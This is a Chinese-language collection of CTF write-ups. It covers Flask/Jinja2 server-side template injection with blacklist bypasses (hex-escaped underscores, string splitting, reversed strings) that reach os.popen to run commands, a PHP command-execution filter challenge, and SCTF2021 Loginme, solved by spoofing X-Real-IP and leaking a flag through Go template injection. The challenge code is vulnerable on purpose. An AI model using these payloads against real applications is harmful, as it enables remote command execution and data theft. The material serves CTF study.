杂题集
做的一些杂题就不分类了
SSTI
一道小题
Python |
---|
| import flask
from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)
def waf(cmd):
#wafs = ['__', 'os']
wafs = ['__','os','request','values']
for blackstring in wafs:
if blackstring in cmd:
return True
return False
@app.route("/",methods=['POST','GET'])
def index():
if request.method == 'POST':
cmd = request.form.get("cmd")
#下面这个是get请求获取参数,上面是post请求获取参数
#cmd2 = request.args.get("cmd2")
if waf(cmd):
return "nonono"
return render_template_string(cmd)
return "Please POST cmd to me."
if __name__ == '__main__':
app.run('0.0.0.0')
|
两道ez_ssti
第一道 wafs = ['__', 'os']
这两个都可以通过request进行绕过
Text Only |
---|
| request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
|
第二道 wafs = ['__','os','request','values']
Text Only |
---|
| {{""['\x5f\x5fcla'+'ss\x5f\x5f']['\x5f\x5fba'+'se\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[139]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('OS'.lower()).popen('calc').read()}
|
这里下划线我们通过unicode编码的方式绕过,os通过大写转换成小写的方式绕过
os绕过还有另外一种方式,通过倒叙
Text Only |
---|
| {{""['\x5f\x5fcla'+'ss\x5f\x5f']['\x5f\x5fba'+'se\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[139]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('so'[::-1]).popen('calc').read()}}
|
24国赛
Python |
---|
| from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
|
waf = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
payload:
有回显
Text Only |
---|
| {{()['\x5f\x5fcla'+'ss\x5f\x5f']['\x5f\x5fba'+'se\x5f\x5f'] [ '\x5f\x5fsubc'+'\x5f\x5flasses\x5f\x5f']['\x5f\x5f get'+'item\x5f\x5f'](199)['\x5f\x5fin'+'it\x5f\x5f']['\x5f\x5fglo'+'bals\x5f\x5f']['\x5f\x5fgeti'+'tem\x5f\x5f']('os')['po'+'pen']('ls')['read']()}}
|
给popen断一下就好了
无回显(拿不到subclass),那我们可以用config
Text Only |
---|
| {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
//像上面一样绕过一xiao
|
RCE
[emojiCTF2024]RCE
PHP |
---|
| <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['emo'])){
$emo = $_GET['emo'];
if(!preg_match("/\;|\"|\*| |[b-h]|[m-r]|\\$|\{|\}|\^|\>/i",$emo)){
system($emo);
}
else{
echo "Again";
}
}
else{
echo "Try";
}
?>
|
可以利用的字母有
可以组成vi来读wen'j
payload:
本地访问+Gin模板注入
[SCTF2021]Loginme(本地访问+Gin模板注入)
查看附件,本题是基于go语言开发的Web框架Gin
审代码
main.go
Go |
---|
| package main
import (
"html/template"
"loginme/middleware"
"loginme/route"
"loginme/templates"
"github.com/gin-gonic/gin"
)
//Gin是一个使用Go开发的web框架
func main() {
gin.SetMode(gin.ReleaseMode) //选择release模式
r := gin.Default() //创建实例
templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl")) //模板解析
r.SetHTMLTemplate(templ) //该方法会gin实实例绑定一个模板引擎(内部其实是设置了engine的HTMLRender属性),也就是模板渲染
// 通过use设置全局中间件
// 设置日志中间件,主要用于打印请求日志
r.Use(gin.Logger())
// 设置Recovery中间件,主要用于拦截paic错误,不至于导致进程崩掉
r.Use(gin.Recovery())
//一个新的路由
authorized := r.Group("/admin")
//调用函数middleware.LocalRequired(),其实是个waf
authorized.Use(middleware.LocalRequired())
{
authorized.GET("/index", route.Login)
}
r.GET("/", route.Index)
r.Run(":9999") //运行服务器,监听9999端口
}
|
通过题目我们可知该题第一步要求本地用户访问,意味着我们需要修改请求头伪造本地用户
通过审阅代码可知,这段代码首先是创建了一个gin实例,然后是在/admin
路由下,调用middleware.LocalRequired()
,如下
Go |
---|
| authorized.Use(middleware.LocalRequired())
{
authorized.GET("/index", route.Login)
}
|
接着我们进一步跟进,打开middleware文件夹中的middleware.go
Go |
---|
| package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
|
由代码可知,请求头中不能有x-forwarded-for
或者x-client-ip
,不然返回403。同时还使用ClientIP()
,用来判断ip是否等于127.0.0.1
这个可以通过X-Real-IP:127.0.0.1
进行绕过
绕过这个之后,继续分析
Go |
---|
| authorized.Use(middleware.LocalRequired())
{
authorized.GET("/index", route.Login)
}
|
接下来跳到route.Login
,进一步跟进打开route文件夹中的route.go文件
Go |
---|
| func Login(c *gin.Context) {
idString, flag := c.GetQuery("id") //gin的获取url query参数
if !flag {
idString = "1"
}
id, err := strconv.Atoi(idString) //用于将字符串类型转换为int类型,整了之后,id就是int类型的数据了
if err != nil { //当出现不等于nil的时候,说明出现某些错误了,这个地方是调用方法出错的时候应该怎么做
id = 1
}
TargetUser := structs.Admin //一个结构体
for _, user := range structs.Users { //循环,看id等于几,然后将TargetUser赋值
if user.Id == id {
TargetUser = user
}
}
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
if err != nil {
c.AbortWithError(500, err)
}
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age) //格式化字符串并赋值给新串
if err != nil {
c.AbortWithError(500, err)
}
//Parse()方法用来解析、评估模板中需要执行的action,其中需要评估的部分都使用{{}}包围,并将评估后(解析后)的结果赋值给tmpl。
tmpl, err := template.New("admin_index").Parse(html)
if err != nil {
c.AbortWithError(500, err)
}
//将对象实例应用到已经解析的tmpl模板
tmpl.Execute(c.Writer, TargetUser)
}
|
由代码可知,这一段代码会从url链接中获得参数id,同时还定义了一个名为TargetUser
的结构体,其源代码放在structs
文件夹中,打开structs.go
Go |
---|
| var Users = []UserInfo{
{
Id: 1,
Username: "Grandpa Lu",
Age: "22",
Password: "hack you!",
},
{
Id: 2,
Username: "Longlone",
Age: "??",
Password: "i don't know",
},
{
Id: 3,
Username: "Teacher Ma",
Age: "20",
Password: "guess",
},
}
var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}
|
在之后,会将传入的id和users中的id进行对比,id=0时,Username=“Admin”
接下来传参age,因为Admin中的Age
默认是空的,所以会执行age传参:
Go |
---|
| if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
|
将age格式化后赋值给html:
Go |
---|
| html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age) //格式化字符串并赋值给新串
|
接下来对html进行渲染:Parse(html)
Go |
---|
| tmpl, err := template.New("admin_index").Parse(html)
|
go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露
而在go语言中使用的是{{.name}}
代表要应用的对象,所以可以让age={{.Password}}
,得到想要的flag
Go |
---|
| var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}
|
原文链接:csdn